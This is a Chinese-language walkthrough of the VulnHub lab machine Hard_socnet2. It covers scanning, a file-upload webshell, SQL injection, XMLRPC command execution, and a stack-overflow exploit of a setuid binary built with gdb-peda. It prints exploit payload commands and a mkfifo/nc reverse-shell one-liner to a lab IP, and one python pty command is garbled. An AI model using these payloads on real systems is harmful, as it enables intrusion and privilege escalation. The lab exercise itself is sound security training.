Hard_socnet2(逆向调试提权)

0x01 主机发现

sudo arp-scan -l

在这里插入图片描述

0x02 端口扫描

sudo nmap -p- 10.0.2.8

在这里插入图片描述

0x03 服务识别

sudo nmap -p22,80,8000 -sV 10.0.2.8 

在这里插入图片描述
得到基本信息,ubuntu,python2,apache

0x04 服务识别

访问 8000 端口,提示请求方式不支持

在这里插入图片描述

那就把八种请求方式全部试一遍。OPTIONS、HEAD、GET、POST、PUT、DELETE、TRACE、CONNECT。最终也只有POST请求返回信息有些许不同。

在这里插入图片描述

根据返回信息可以看到,提示 xml 解析报错,元素为空,猜测应该是服务端对外提供的 api,但具体调用格式还不清楚,先换个点,收集多点信息。

0x05 后台图片上传 & SQL注入

访问默认 80 端口。有个 Pynch 系统,有个登录框和注册框,并且登录账号为邮箱。

在这里插入图片描述

真实渗透场景下需要收集目标相关的邮箱信息,再构造字典尝试登录。但由于目标在此目标没发现什么邮箱信息,那就直接注册个账号进去看看吧。

在这里插入图片描述

可以看到,此系统类似博客,每个人都可以留言,其中有 admin 账户的留言信息,表示后台已经运行了一个 monitor.py 监控程序,应该是伏笔,先记着。

经过后续测试发现两个突破口。第一个是个人信息的头像图片上传,存在任意文件上传。那就好办了,直接上蚁剑。

在这里插入图片描述

第二个是搜索框存在SQL注入。使用sqlmap注入尝试。

在这里插入图片描述

尝试读取用户表的信息。这里的信息是用于登录系统后台,登录admin后台并没有发现更多的功能点,暂时搁置。根据获得密码登录SSH,无果。

在这里插入图片描述

0x06 尝试提权到 sudo 用户

由于现在蚁剑获得了一个普通的权限,尝试提权。提权思路通常为:

  1. 内核提权,uname -a

    这个后面再讲,不符合当时靶机作者的思路。

  2. sudo 提权

    当前用户没有执行 sudo 相关程序的权限。

  3. suid 权限配置不当,通过执行高权限用户文件得到高权限。

    暂无找到 suid 相关的执行文件存在漏洞。

来一波信息收集吧

cat /etc/passwd

在这里插入图片描述

有 bash 权限的 socnet 存在主目录,并且其他组用户有查看权限,赶紧进去瞧瞧。

ls -l /home

在这里插入图片描述

可以看到有个monitor.py,想起之前的在系统后台看到管理员说过,后台已经开启了 monitor ,查看是否开启。可以看到程序确实已经启动。

在这里插入图片描述

查看 monitor.py。这个文件有这么几个点:

  1. 在 8000 端口开启了一个 XMLRPC 服务
  2. 随机生成一个1000到9999的数字,用于后续验证
  3. 定义了5个函数,其中四个为执行固定命令,一个为执行外部传输的指令,但前提是随机数正确

在这里插入图片描述

另外 XMLRPC 就是通过解析 XML 格式的数据去执行功能点。

在这里插入图片描述

这样的话就有思路了,能否爆破出随机数,进而执行代码呢!

在这里插入图片描述

执行后爆破出来的随机数是 8793

在这里插入图片描述

修改代码,尝试进行命令执行。成功!

在这里插入图片描述

拿到了有 bash 权限的 socnet 用户,看看有没有相关提权漏洞,木的

在这里插入图片描述

0x07 逆向工程 & 动态调试 提权

提权的寻常思路不管用,那就继续信息收集吧。查看当前用户主目录下的文件信息,其中 monitor.py 为开启 XMLRPC 服务的文件,第一个文件 add_record,为 32 位的可执行程序,而且文件还有 setuid, setgid 属性。这就意味着,如果这个程序能够执行反弹 shell,那反弹的就是 root 权限。

在这里插入图片描述

第三个是 peda 目录,其实就是一个让 linux 自带的 GDB 显示得更友好,就是 GDB 的一个插件。而 GDB 是Linux下用来调试程序的,这一切仿佛都在暗示第一个可执行程序有问题。

在这里插入图片描述

说到可执行程序漏洞,往往就是栈溢出,原理就是输入异常数据,使得数据溢出到其他寄存器,导致可执行任意代码。

我们先来看看 add_record 这个程序的功能,运行试试。可以看到总共有五个输入点,Employee Name,Year worked,Salary,in trouble,Explain。

在这里插入图片描述

使用 gdb 进行运行调试。尝试在每个输入点注入相同字符,如果字符溢出到其他寄存器则存在缓冲区溢出漏洞。直接python打印A字符用于输入。

python -c "print('A'*500)"

开始 gdb 运行调试(第一个输入点,正常退出):

gdb -q ./add_record  #安静模式启动调试程序
r #正常执行程序
AAA... #输入字符验证溢出

在这里插入图片描述

那就挨个输入点调试,在最后一个点触发了不正常退出。可以看到A字符被填充到其他寄存器里。

在这里插入图片描述

重点需要关注的是EIP寄存器,这是指令寄存器,放的是CPU下一条要执行指令的地址。可以看到这里EIP寄存器也被A字符填充了,如果我们能够控制shellcode的代码放在EIP中,那么CPU就会去执行。所以现在我们需要定位,测试时的500个字符中填充到EIP是哪部分。

这里用 gdb 内置的功能生成100字符,特点是每四个字符不同。便于我们定位EIP的填充字段。

gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

在这里插入图片描述

之后执行 pattern search ,可以看到EIP对应的偏移为62,意味着从第63个字符开始就会进入EIP。

在这里插入图片描述

生成测试字符串,前62个字符为A,后面为BCDE,可以看到BCDE顺利被填充进EIP寄存器。这里需要说明一下,BCDE字符在内存中是倒过来存储的,存储为EDCB。即0x45444342对应的为EDCB,后续我们指定地址的时候要注意。

在这里插入图片描述

输入 disas main 进行汇编分析,其中@plt为系统内置的函数

在这里插入图片描述

有个 vuln 函数引起了注意,这名字明显不对头,而且这是在主程序中加载的,也就说默认执行程序时就已经执行了这函数,进去瞧瞧 disas vuln

在这里插入图片描述

可以看到 vuln 函数中执行了 strcpy 内置函数,这函数已经披露过有缓冲区溢出漏洞,也就是说溢出后,我们可以指定任意内存地址跳转

查看当前程序使用的函数列表 info func。其中 system 函数用于执行系统命令,setuid用于申请root权限,

在这里插入图片描述

还有个 backdoor 函数,这怎么看都很可疑,disas backdoor进去看看,system函数是在这里面调用的~

在这里插入图片描述

理一下思路,程序运行时自动加载 vuln 函数,其中调用了 strcpy ,导致其存在溢出漏洞,我们可以把 EIP 指向 backdoor 函数,因为里面执行了 setuid,和 system 函数。先尝试看看会执行成什么样,构造 payload,前62个字符为A,后续接上十六进制的 backdoor 地址,要倒着写。

python2 -c "import struct; print('A'*62 + struct.pack('I',0x08048676))"

在这里插入图片描述

可以看到,在输入 backdoor函数里调用 system 自动执行了 /bin/bash,而且在之前还执行了 setuid 。因此,生成 payload,第一个参数a,第二个参数1,第三个参数1,第四个参数1,第五个参数为62个A加上 backdoor的地址。

python2 -c "import struct; print('a\n1\n1\n1\n' + 'A'*62 + struct.pack('I',0x08048676))" > payload

执行 cat payload - | ./add_record

在这里插入图片描述

0x08 内核提权

其实这台主机可以直接用 CVE-2021-3493 提权到 root,但因为靶机发布在此漏洞之前,作者应该是没想到这种情况。

#命令执行反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.2.7 3333 >/tmp/f
#通过python优化交互的shell
python -c "import pty; pty,spawn('/bin/bash) <les$ python  -c "import pty; pty,spawn('/bin/bash)"')"

靶机地址:https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova

对网络安全有兴趣的小伙伴,欢迎关注公众号:白帽学子

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值